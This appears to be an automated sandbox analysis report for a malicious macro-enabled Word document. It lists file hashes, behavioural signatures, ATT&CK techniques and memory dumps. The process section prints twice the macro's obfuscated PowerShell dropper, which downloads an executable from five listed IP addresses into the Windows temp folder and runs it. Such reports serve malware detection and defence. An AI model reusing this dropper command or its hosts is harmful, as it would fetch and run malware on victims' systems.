27bfe27a4f0fe8da3fabaca074cb4d3982f3b117c4d402afc6ca148eceff80be

General

Target

27bfe27a4f0fe8da3fabaca074cb4d3982f3b117c4d402afc6ca148eceff80be.docm
Size

95KB
MD5

2f38493885e8008f32c048958a2cdeda
SHA1

3b623b3085213362add7008af21248c134090386
SHA256

27bfe27a4f0fe8da3fabaca074cb4d3982f3b117c4d402afc6ca148eceff80be
SHA512

694a02475c24786524388034b2501ea571d541a58c77ebc5b3066526ea3ea2e50829fd1f0270cfc452f30dacbd051834fb1053c8c92775bb1971725fc95071d0

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://13.114.230.250/QV2skGqtTw

exe.dropper

http://13.52.104.41/Igfq6xv5xo

exe.dropper

http://13.127.212.245/3LwnZ1t8

exe.dropper

http://206.189.181.0/Xht8nvYWZg

exe.dropper

http://115.66.127.67/JS9zvxk1i

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	5072	2692	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

38 2760 powershell.exe
53 2760 powershell.exe
61 2760 powershell.exe
65 2760 powershell.exe
67 2760 powershell.exe

flow	pid	process
38	2760	powershell.exe
53	2760	powershell.exe
61	2760	powershell.exe
65	2760	powershell.exe
67	2760	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2692 WINWORD.EXE
2692 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2760 powershell.exe
2760 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2760 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

2692 WINWORD.EXE
2692 WINWORD.EXE
2692 WINWORD.EXE
2692 WINWORD.EXE
2692 WINWORD.EXE
2692 WINWORD.EXE
2692 WINWORD.EXE
2692 WINWORD.EXE

pid	process
2692	WINWORD.EXE
2692	WINWORD.EXE

pid	process
2760	powershell.exe
2760	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2760	powershell.exe

pid	process
2692	WINWORD.EXE
2692	WINWORD.EXE
2692	WINWORD.EXE
2692	WINWORD.EXE
2692	WINWORD.EXE
2692	WINWORD.EXE
2692	WINWORD.EXE
2692	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 2692 wrote to memory of 5072	2692	WINWORD.EXE	cmd.exe
PID 2692 wrote to memory of 5072	2692	WINWORD.EXE	cmd.exe
PID 5072 wrote to memory of 2760	5072	cmd.exe	powershell.exe
PID 5072 wrote to memory of 2760	5072	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\27bfe27a4f0fe8da3fabaca074cb4d3982f3b117c4d402afc6ca148eceff80be.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2692

\??\c:\windows\system32\cmd.exe
c:\windows\system32\cmd /c set _xxx=p&& set _yyy=owersh&& set _zzz=ell&& call %_xxx%%_yyy%%_zzz% $rHOUDnJ = '$ADWf3i = new-obj0-93413080-468166100ect -com0-93413080-468166100obj0-93413080-468166100ect wsc0-93413080-468166100ript.she0-93413080-468166100ll;$Z8EiF = new-object sys0-93413080-468166100tem.net.web0-93413080-468166100client;$tkmgSjln2 = new-object random;$zJurOI4 = \"0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://13.114.230.250/QV2skGqtTw,0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://13.52.104.41/Igfq6xv5xo,0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://13.127.212.245/3LwnZ1t8,0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://206.189.181.0/Xht8nvYWZg,0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://115.66.127.67/JS9zvxk1i\".spl0-93413080-468166100it(\",\");$qTPCWnKa = $tkmgSjln2.nex0-93413080-468166100t(1, 65536);$pWKbd = \"c:\win0-93413080-468166100dows\tem0-93413080-468166100p\103.ex0-93413080-468166100e\";for0-93413080-468166100each($Q4omsE06 in $zJurOI4){try{$Z8EiF.dow0-93413080-468166100nlo0-93413080-468166100adf0-93413080-468166100ile($Q4omsE06.ToS0-93413080-468166100tring(), $pWKbd);sta0-93413080-468166100rt-pro0-93413080-468166100cess $pWKbd;break;}catch{}}'.replace('0-93413080-468166100', $IUZAe);$Vp4Qn = '';iex($rHOUDnJ);
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $rHOUDnJ = '$ADWf3i = new-obj0-93413080-468166100ect -com0-93413080-468166100obj0-93413080-468166100ect wsc0-93413080-468166100ript.she0-93413080-468166100ll;$Z8EiF = new-object sys0-93413080-468166100tem.net.web0-93413080-468166100client;$tkmgSjln2 = new-object random;$zJurOI4 = \"0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://13.114.230.250/QV2skGqtTw,0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://13.52.104.41/Igfq6xv5xo,0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://13.127.212.245/3LwnZ1t8,0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://206.189.181.0/Xht8nvYWZg,0-93413080-468166100h0-93413080-468166100t0-93413080-468166100t0-93413080-468166100p0-93413080-468166100://115.66.127.67/JS9zvxk1i\".spl0-93413080-468166100it(\",\");$qTPCWnKa = $tkmgSjln2.nex0-93413080-468166100t(1, 65536);$pWKbd = \"c:\win0-93413080-468166100dows\tem0-93413080-468166100p\103.ex0-93413080-468166100e\";for0-93413080-468166100each($Q4omsE06 in $zJurOI4){try{$Z8EiF.dow0-93413080-468166100nlo0-93413080-468166100adf0-93413080-468166100ile($Q4omsE06.ToS0-93413080-468166100tring(), $pWKbd);sta0-93413080-468166100rt-pro0-93413080-468166100cess $pWKbd;break;}catch{}}'.replace('0-93413080-468166100', $IUZAe);$Vp4Qn = '';iex($rHOUDnJ);
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2692-144-0x00007FFEAAFD0000-0x00007FFEAAFE0000-memory.dmp

Filesize
64KB

Download
memory/2692-132-0x00007FFEAAFD0000-0x00007FFEAAFE0000-memory.dmp

Filesize
64KB

Download
memory/2692-131-0x00007FFEAAFD0000-0x00007FFEAAFE0000-memory.dmp

Filesize
64KB

Download
memory/2692-133-0x00007FFEAAFD0000-0x00007FFEAAFE0000-memory.dmp

Filesize
64KB

Download
memory/2692-134-0x00007FFEAAFD0000-0x00007FFEAAFE0000-memory.dmp

Filesize
64KB

Download
memory/2692-135-0x00007FFEA8770000-0x00007FFEA8780000-memory.dmp

Filesize
64KB

Download
memory/2692-136-0x00007FFEA8770000-0x00007FFEA8780000-memory.dmp

Filesize
64KB

Download
memory/2692-147-0x00007FFEAAFD0000-0x00007FFEAAFE0000-memory.dmp

Filesize
64KB

Download
memory/2692-130-0x00007FFEAAFD0000-0x00007FFEAAFE0000-memory.dmp

Filesize
64KB

Download
memory/2692-138-0x00000221F5140000-0x00000221F5144000-memory.dmp

Filesize
16KB

Download
memory/2692-146-0x00007FFEAAFD0000-0x00007FFEAAFE0000-memory.dmp

Filesize
64KB

Download
memory/2692-145-0x00007FFEAAFD0000-0x00007FFEAAFE0000-memory.dmp

Filesize
64KB

Download
memory/2760-139-0x0000000000000000-mapping.dmp

Download
memory/2760-142-0x00007FFEBF8B0000-0x00007FFEC0371000-memory.dmp

Filesize
10.8MB

Download
memory/2760-141-0x00007FFEBF8B0000-0x00007FFEC0371000-memory.dmp

Filesize
10.8MB

Download
memory/2760-140-0x00000232E8B90000-0x00000232E8BB2000-memory.dmp

Filesize
136KB

Download
memory/5072-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads